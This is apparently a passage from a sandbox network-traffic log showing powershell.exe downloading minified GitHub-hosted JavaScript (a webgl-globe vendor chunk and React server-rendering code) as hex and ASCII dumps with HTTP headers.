2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 77 65 62 67 6c 2d 67 6c 6f 62 65 5f 64 69 73 74 5f 6a 73 5f 6d 61 69 6e 5f 6a 73 22 5d 2c 7b 38 33 31 33 38 3a 28 29 3d 3e 7b 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 61 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 32 36 33 3a 28 65 2c 74 2c 69 29 3d 3e 7b 76 61 72 20 6e 3d 69 28 31 37 35 29 2c 72 3d 69 28 38 37 33 29 2c Data Ascii: (globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_webgl-globe_dist_js_main_js"],{83138:()=>{/! For license information please see main.js.LICENSE.txt /(()=>{"use strict";var e={263:(e,t,i)=>{var n=i(175),r=i(873),
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 28 65 2c 74 2c 69 29 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 69 28 33 38 30 29 28 29 3f 4f 62 6a 65 63 74 2e 6b 65 79 73 3a 69 28 32 33 32 29 7d 2c 33 38 30 3a 65 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 22 70 72 69 6d 69 74 69 76 65 22 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 7d 2c 32 33 32 3a 28 65 2c 74 2c 69 29 3d 3e 7b 76 61 72 20 6e 3d 69 28 37 36 32 29 2c 72 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 28 6e 28 65 29 3f 4f 62 6a 65 63 74 28 65 29 3a 65 29 7d 7d 2c 31 34 38 3a 28 65 2c 74 2c 69 29 3d 3e 7b 76 61 72 20 6e 3d 69 28 37 36 32 Data Ascii: (e,t,i)=>{e.exports=i(380)()?Object.keys:i(232)},380:e=>{e.exports=function(){try{return Object.keys("primitive"),!0}catch(e){return!1}}},232:(e,t,i)=>{var n=i(762),r=Object.keys;e.exports=function(e){return r(n(e)?Object(e):e)}},148:(e,t,i)=>{var n=i(762
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 72 65 74 75 72 6e 20 75 28 74 29 2c 76 2e 63 61 6c 6c 28 74 68 69 73 2c 22 5f 5f 65 65 5f 5f 22 29 3f 69 3d 74 68 69 73 2e 5f 5f 65 65 5f 5f 3a 28 69 3d 78 2e 76 61 6c 75 65 3d 6d 28 6e 75 6c 6c 29 2c 66 28 74 68 69 73 2c 22 5f 5f 65 65 5f 5f 22 2c 78 29 2c 78 2e 76 61 6c 75 65 3d 6e 75 6c 6c 29 2c 69 5b 65 5d 3f 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 69 5b 65 5d 3f 69 5b 65 5d 2e 70 75 73 68 28 74 29 3a 69 5b 65 5d 3d 5b 69 5b 65 5d 2c 74 5d 3a 69 5b 65 5d 3d 74 2c 74 68 69 73 7d 2c 6f 6e 63 65 3a 72 2c 6f 66 66 3a 61 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 2c 6e 2c 72 2c 61 3b 69 66 28 75 28 74 29 2c 21 76 2e 63 61 6c 6c 28 74 68 69 73 2c 22 5f 5f 65 65 5f 5f 22 29 7c 7c 21 28 69 3d 74 68 69 73 2e 5f 5f 65 65 5f 5f 29 5b Data Ascii: return u(t),v.call(this,"__ee__")?i=this.__ee__:(i=x.value=m(null),f(this,"__ee__",x),x.value=null),i[e]?"object"==typeof i[e]?i[e].push(t):i[e]=[i[e],t]:i[e]=t,this},once:r,off:a=function(e,t){var i,n,r,a;if(u(t),!v.call(this,"__ee__")\|\|!(i=this.__ee__)[
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 72 65 74 75 72 6e 21 21 6e 28 65 29 26 26 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 74 79 70 65 6f 66 20 65 29 7d 7d 2c 38 37 33 3a 28 65 2c 74 2c 69 29 3d 3e 7b 76 61 72 20 6e 3d 69 28 38 30 29 2c 72 3d 2f 5e 5c 73 2a 63 6c 61 73 73 5b 5c 73 7b 2f 7d 5d 2f 2c 61 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 6e 28 65 29 26 26 21 72 2e 74 65 73 74 28 61 2e 63 61 6c 6c 28 65 29 29 7d 7d 2c 32 30 32 3a 28 65 2c 74 2c 69 29 3d 3e 7b 76 61 72 20 6e 3d 69 28 31 38 31 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6e 28 65 29 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 72 65 Data Ascii: return!!n(e)&&hasOwnProperty.call(r,typeof e)}},873:(e,t,i)=>{var n=i(80),r=/^\s*class[\s{/}]/,a=Function.prototype.toString;e.exports=function(e){return!!n(e)&&!r.test(a.call(e))}},202:(e,t,i)=>{var n=i(181);e.exports=function(e){if(!n(e))return!1;try{re
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 7d 7d 7d 3b 6c 65 74 20 73 3d 5b 5d 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 32 35 36 3b 65 2b 2b 29 73 5b 65 5d 3d 28 65 3c 31 36 3f 22 30 22 3a 22 22 29 2b 65 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3b 6c 65 74 20 6f 3d 4d 61 74 68 2e 50 49 2f 31 38 30 2c 6c 3d 31 38 30 2f 4d 61 74 68 2e 50 49 3b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 6c 65 74 20 65 3d 34 32 39 34 39 36 37 32 39 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 2c 74 3d 34 32 39 34 39 36 37 32 39 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 2c 69 3d 34 32 39 34 39 36 37 32 39 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 2c 6e 3d 34 32 39 34 39 36 37 32 39 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 3b 72 65 74 75 72 6e 28 73 5b 32 35 35 26 65 5d 2b 73 5b 65 3e 3e Data Ascii: }}};let s=[];for(let e=0;e<256;e++)s[e]=(e<16?"0":"")+e.toString(16);let o=Math.PI/180,l=180/Math.PI;function h(){let e=4294967295Math.random()\|0,t=4294967295Math.random()\|0,i=4294967295Math.random()\|0,n=4294967295Math.random()\|0;return(s[255&e]+s[e>>
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 65 61 64 2e 22 29 2c 74 68 69 73 2e 61 64 64 56 65 63 74 6f 72 73 28 65 2c 74 29 29 3a 28 74 68 69 73 2e 78 2b 3d 65 2e 78 2c 74 68 69 73 2e 79 2b 3d 65 2e 79 2c 74 68 69 73 29 7d 61 64 64 53 63 61 6c 61 72 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 2b 3d 65 2c 74 68 69 73 2e 79 2b 3d 65 2c 74 68 69 73 7d 61 64 64 56 65 63 74 6f 72 73 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 3d 65 2e 78 2b 74 2e 78 2c 74 68 69 73 2e 79 3d 65 2e 79 2b 74 2e 79 2c 74 68 69 73 7d 61 64 64 53 63 61 6c 65 64 56 65 63 74 6f 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 2b 3d 65 2e 78 2a 74 2c 74 68 69 73 2e 79 2b 3d 65 2e 79 2a 74 2c 74 68 69 73 7d 73 75 62 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 74 3f 28 63 6f 6e Data Ascii: ead."),this.addVectors(e,t)):(this.x+=e.x,this.y+=e.y,this)}addScalar(e){return this.x+=e,this.y+=e,this}addVectors(e,t){return this.x=e.x+t.x,this.y=e.y+t.y,this}addScaledVector(e,t){return this.x+=e.xt,this.y+=e.yt,this}sub(e,t){return void 0!==t?(con
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 73 2e 78 3d 4d 61 74 68 2e 63 65 69 6c 28 74 68 69 73 2e 78 29 2c 74 68 69 73 2e 79 3d 4d 61 74 68 2e 63 65 69 6c 28 74 68 69 73 2e 79 29 2c 74 68 69 73 7d 72 6f 75 6e 64 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 74 68 69 73 2e 78 29 2c 74 68 69 73 2e 79 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 74 68 69 73 2e 79 29 2c 74 68 69 73 7d 72 6f 75 6e 64 54 6f 5a 65 72 6f 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 3d 74 68 69 73 2e 78 3c 30 3f 4d 61 74 68 2e 63 65 69 6c 28 74 68 69 73 2e 78 29 3a 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 68 69 73 2e 78 29 2c 74 68 69 73 2e 79 3d 74 68 69 73 2e 79 3c 30 3f 4d 61 74 68 2e 63 65 69 6c 28 74 68 69 73 2e 79 29 3a 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 68 69 73 2e 79 29 2c 74 68 69 73 Data Ascii: s.x=Math.ceil(this.x),this.y=Math.ceil(this.y),this}round(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this}roundToZero(){return this.x=this.x<0?Math.ceil(this.x):Math.floor(this.x),this.y=this.y<0?Math.ceil(this.y):Math.floor(this.y),this
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 2c 74 29 7b 6c 65 74 20 69 3d 4d 61 74 68 2e 63 6f 73 28 74 29 2c 6e 3d 4d 61 74 68 2e 73 69 6e 28 74 29 2c 72 3d 74 68 69 73 2e 78 2d 65 2e 78 2c 61 3d 74 68 69 73 2e 79 2d 65 2e 79 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 3d 72 2a 69 2d 61 2a 6e 2b 65 2e 78 2c 74 68 69 73 2e 79 3d 72 2a 6e 2b 61 2a 69 2b 65 2e 79 2c 74 68 69 73 7d 72 61 6e 64 6f 6d 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2c 74 68 69 73 2e 79 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2c 74 68 69 73 7d 7d 3b 51 65 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 56 65 63 74 6f 72 32 3d 21 30 3b 6c 65 74 20 4b 65 3d 63 6c 61 73 73 20 4b 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 3d 5b 31 2c 30 2c 30 2c 30 Data Ascii: ,t){let i=Math.cos(t),n=Math.sin(t),r=this.x-e.x,a=this.y-e.y;return this.x=ri-an+e.x,this.y=rn+ai+e.y,this}random(){return this.x=Math.random(),this.y=Math.random(),this}};Qe.prototype.isVector2=!0;let Ke=class Ke{constructor(){this.elements=[1,0,0,0
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 68 69 73 7d 6d 75 6c 74 69 70 6c 79 53 63 61 6c 61 72 28 65 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 74 5b 30 5d 2a 3d 65 2c 74 5b 33 5d 2a 3d 65 2c 74 5b 36 5d 2a 3d 65 2c 74 5b 31 5d 2a 3d 65 2c 74 5b 34 5d 2a 3d 65 2c 74 5b 37 5d 2a 3d 65 2c 74 5b 32 5d 2a 3d 65 2c 74 5b 35 5d 2a 3d 65 2c 74 5b 38 5d 2a 3d 65 2c 74 68 69 73 7d 64 65 74 65 72 6d 69 6e 61 6e 74 28 29 7b 6c 65 74 20 65 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2c 74 3d 65 5b 30 5d 2c 69 3d 65 5b 31 5d 2c 6e 3d 65 5b 32 5d 2c 72 3d 65 5b 33 5d 2c 61 3d 65 5b 34 5d 2c 73 3d 65 5b 35 5d 2c 6f 3d 65 5b 36 5d 2c 6c 3d 65 5b 37 5d 2c 68 3d 65 5b 38 5d 3b 72 65 74 75 72 6e 20 74 2a 61 2a 68 2d 74 2a 73 2a 6c 2d 69 2a 72 2a 68 2b 69 2a 73 2a 6f 2b 6e Data Ascii: his}multiplyScalar(e){let t=this.elements;return t[0]=e,t[3]=e,t[6]=e,t[1]=e,t[4]=e,t[7]=e,t[2]=e,t[5]=e,t[8]=e,this}determinant(){let e=this.elements,t=e[0],i=e[1],n=e[2],r=e[3],a=e[4],s=e[5],o=e[6],l=e[7],h=e[8];return tah-tsl-irh+is*o+n
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 69 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 69 5b 30 5d 2b 3d 65 2a 69 5b 32 5d 2c 69 5b 33 5d 2b 3d 65 2a 69 5b 35 5d 2c 69 5b 36 5d 2b 3d 65 2a 69 5b 38 5d 2c 69 5b 31 5d 2b 3d 74 2a 69 5b 32 5d 2c 69 5b 34 5d 2b 3d 74 2a 69 5b 35 5d 2c 69 5b 37 5d 2b 3d 74 2a 69 5b 38 5d 2c 74 68 69 73 7d 65 71 75 61 6c 73 28 65 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2c 69 3d 65 2e 65 6c 65 6d 65 6e 74 73 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 39 3b 65 2b 2b 29 69 66 28 74 5b 65 5d 21 3d 3d 69 5b 65 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 66 72 6f 6d 41 72 72 61 79 28 65 2c 74 3d 30 29 7b 66 6f 72 28 6c 65 74 20 69 3d 30 3b 69 3c 39 3b 69 2b 2b 29 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 5b 69 5d Data Ascii: i=this.elements;return i[0]+=ei[2],i[3]+=ei[5],i[6]+=ei[8],i[1]+=ti[2],i[4]+=ti[5],i[7]+=ti[8],this}equals(e){let t=this.elements,i=e.elements;for(let e=0;e<9;e++)if(t[e]!==i[e])return!1;return!0}fromArray(e,t=0){for(let i=0;i<9;i++)this.elements[i]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49769	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:35 UTC	359	OUT	GET /assets/react-lib-7b7b5264f6c1.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:35 UTC	697	IN	HTTP/1.1 200 OK Connection: close Content-Length: 214542 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:06 GMT ETag: "0x8DCB7D59CFCE0CF" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2125830 Date: Mon, 30 Sep 2024 13:50:35 GMT X-Served-By: cache-iad-kjyo7100029-IAD, cache-ewr-kewr1740036-EWR X-Cache: HIT, HIT X-Cache-Hits: 190, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: cefff7906fa46f2b4f5b721fda9efb57ba8adcbd
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 72 65 61 63 74 2d 6c 69 62 22 5d 2c 7b 31 37 36 33 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 61 63 74 0a 20 2a 20 72 65 61 63 74 2d 64 6f 6d 2d 73 65 72 76 65 72 2d 6c 65 67 61 63 79 2e 62 72 6f 77 73 65 72 2e 70 72 6f 64 75 63 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 61 6e 64 20 69 74 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["react-lib"],{17633:(e,t,n)=>{/** * @license React * react-dom-server-legacy.browser.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source cod
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 45 6d 70 74 79 53 74 72 69 6e 67 3d 6f 7d 76 61 72 20 66 3d 7b 7d 3b 22 63 68 69 6c 64 72 65 6e 20 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 20 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 20 69 6e 6e 65 72 48 54 4d 4c 20 73 75 70 70 72 65 73 73 43 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 57 61 72 6e 69 6e 67 20 73 75 70 70 72 65 73 73 48 79 64 72 61 74 69 6f 6e 57 61 72 6e 69 6e 67 20 73 74 79 6c 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 5b 65 5d 3d 6e 65 77 20 63 28 65 2c 30 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 5b 22 61 63 63 65 70 74 43 68 61 72 73 65 74 22 2c 22 61 63 63 65 70 74 2d 63 68 61 72 73 65 Data Ascii: EmptyString=o}var f={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){f[e]=new c(e,0,!1,e,null,!1,!1)}),[["acceptCharset","accept-charse
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 68 74 20 61 6c 69 67 6e 6d 65 6e 74 2d 62 61 73 65 6c 69 6e 65 20 61 72 61 62 69 63 2d 66 6f 72 6d 20 62 61 73 65 6c 69 6e 65 2d 73 68 69 66 74 20 63 61 70 2d 68 65 69 67 68 74 20 63 6c 69 70 2d 70 61 74 68 20 63 6c 69 70 2d 72 75 6c 65 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 20 63 6f 6c 6f 72 2d 70 72 6f 66 69 6c 65 20 63 6f 6c 6f 72 2d 72 65 6e 64 65 72 69 6e 67 20 64 6f 6d 69 6e 61 6e 74 2d 62 61 73 65 6c 69 6e 65 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 20 66 69 6c 6c 2d 72 75 6c 65 20 66 6c 6f 6f 64 2d 63 6f 6c 6f 72 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 Data Ascii: ht alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 72 65 70 6c 61 63 65 28 64 2c 70 29 3b 66 5b 74 5d 3d 6e 65 77 20 63 28 74 2c 31 2c 21 31 2c 65 2c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 58 4d 4c 2f 31 39 39 38 2f 6e 61 6d 65 73 70 61 63 65 22 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 63 72 6f 73 73 4f 72 69 67 69 6e 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 5b 65 5d 3d 6e 65 77 20 63 28 65 2c 31 2c 21 31 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 66 2e 78 6c 69 6e 6b 48 72 65 66 3d 6e 65 77 20 63 28 22 78 6c 69 6e 6b 48 72 65 66 22 2c 31 2c 21 31 2c 22 78 6c 69 6e 6b 3a 68 72 65 66 22 2c 22 68 Data Ascii: .forEach(function(e){var t=e.replace(d,p);f[t]=new c(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)}),["tabIndex","crossOrigin"].forEach(function(e){f[e]=new c(e,1,!1,e.toLowerCase(),null,!1,!1)}),f.xlinkHref=new c("xlinkHref",1,!1,"xlink:href","h
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 71 75 6f 74 3b 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 38 3a 74 3d 22 26 61 6d 70 3b 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 3d 22 26 23 78 32 37 3b 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 30 3a 74 3d 22 26 6c 74 3b 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 32 3a 74 3d 22 26 67 74 3b 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 63 6f 6e 74 69 6e 75 65 7d 61 21 3d 3d 6e 26 26 28 72 2b 3d 65 2e 73 75 62 73 74 72 69 6e 67 28 61 2c 6e 29 29 2c 61 3d 6e 2b 31 2c 72 2b 3d 74 7d 65 3d 61 21 3d 3d 6e 3f 72 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 61 2c 6e 29 3a 72 7d 72 65 74 75 72 6e 20 65 7d 76 61 72 20 76 3d 2f 28 5b 41 2d 5a 5d 29 2f 67 2c 62 3d 2f 5e 6d 73 2d 2f 2c 6b 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 3b 66 75 6e 63 74 69 6f 6e 20 77 Data Ascii: quot;";break;case 38:t="&";break;case 39:t="'";break;case 60:t="<";break;case 62:t=">";break;default:continue}a!==n&&(r+=e.substring(a,n)),a=n+1,r+=t}e=a!==n?r+e.substring(a,n):r}return e}var v=/([A-Z])/g,b=/^ms-/,k=Array.isArray;function w
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 72 26 26 65 2e 70 75 73 68 28 22 20 22 2c 6e 2c 27 3d 22 27 2c 79 28 72 29 2c 27 22 27 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 2e 73 61 6e 69 74 69 7a 65 55 52 4c 26 26 28 72 3d 22 22 2b 72 29 2c 65 2e 70 75 73 68 28 22 20 22 2c 6e 2c 27 3d 22 27 2c 79 28 72 29 2c 27 22 27 29 7d 7d 65 6c 73 65 20 69 66 28 73 28 6e 29 29 7b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 72 29 7b 63 61 73 65 22 66 75 6e 63 74 69 6f 6e 22 3a 63 61 73 65 22 73 79 6d 62 6f 6c 22 3a 72 65 74 75 72 6e 3b 63 61 73 65 22 62 6f 6f 6c 65 61 6e 22 3a 69 66 28 22 64 61 74 61 2d 22 21 3d 3d 28 74 3d 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 6c 69 63 65 28 30 2c 35 29 29 26 26 22 61 72 69 61 2d 22 21 3d 3d 74 29 72 65 74 75 72 6e 7d 65 2e 70 75 73 68 28 22 20 22 2c 6e 2c Data Ascii: r&&e.push(" ",n,'="',y(r),'"');break;default:t.sanitizeURL&&(r=""+r),e.push(" ",n,'="',y(r),'"')}}else if(s(n)){switch(typeof r){case"function":case"symbol":return;case"boolean":if("data-"!==(t=n.toLowerCase().slice(0,5))&&"aria-"!==t)return}e.push(" ",n,
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 72 29 7b 72 65 74 75 72 6e 20 6e 2e 67 65 6e 65 72 61 74 65 53 74 61 74 69 63 4d 61 72 6b 75 70 3f 28 65 2e 70 75 73 68 28 79 28 74 29 29 2c 21 31 29 3a 28 22 22 3d 3d 3d 74 3f 65 3d 72 3a 28 72 26 26 65 2e 70 75 73 68 28 22 3c 21 2d 2d 20 2d 2d 3e 22 29 2c 65 2e 70 75 73 68 28 79 28 74 29 29 2c 65 3d 21 30 29 2c 65 29 7d 76 61 72 20 4d 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 2c 49 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 65 6c 65 6d 65 6e 74 22 29 2c 44 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 70 6f 72 74 61 6c 22 29 2c 4f 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 66 72 61 67 6d 65 6e 74 22 29 2c 42 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 73 74 72 69 63 74 5f 6d 6f 64 65 22 29 2c 55 3d 53 Data Ascii: r){return n.generateStaticMarkup?(e.push(y(t)),!1):(""===t?e=r:(r&&e.push("... -->"),e.push(y(t)),e=!0),e)}var M=Object.assign,I=Symbol.for("react.element"),D=Symbol.for("react.portal"),O=Symbol.for("react.fragment"),B=Symbol.for("react.strict_mode"),U=S
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 6e 20 65 28 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 2e 70 61 72 65 6e 74 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 72 29 74 68 72 6f 77 20 45 72 72 6f 72 28 61 28 34 30 32 29 29 3b 74 2e 64 65 70 74 68 3d 3d 3d 72 2e 64 65 70 74 68 3f 65 74 28 74 2c 72 29 3a 65 28 74 2c 72 29 2c 6e 2e 63 6f 6e 74 65 78 74 2e 5f 63 75 72 72 65 6e 74 56 61 6c 75 65 32 3d 6e 2e 76 61 6c 75 65 7d 28 74 2c 65 29 2c 65 65 3d 65 29 7d 76 61 72 20 65 72 3d 7b 69 73 4d 6f 75 6e 74 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 2c 65 6e 71 75 65 75 65 53 65 74 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6e 75 6c 6c 21 3d 3d 28 65 3d 65 2e 5f 72 65 61 63 74 49 6e 74 65 72 6e 61 6c 73 29 2e 71 75 65 75 65 26 26 65 2e 71 75 65 75 65 2e 70 75 73 68 28 74 29 7d Data Ascii: n e(t,n){var r=n.parent;if(null===r)throw Error(a(402));t.depth===r.depth?et(t,r):e(t,r),n.context._currentValue2=n.value}(t,e),ee=e)}var er={isMounted:function(){return!1},enqueueSetState:function(e,t){null!==(e=e._reactInternals).queue&&e.queue.push(t)}
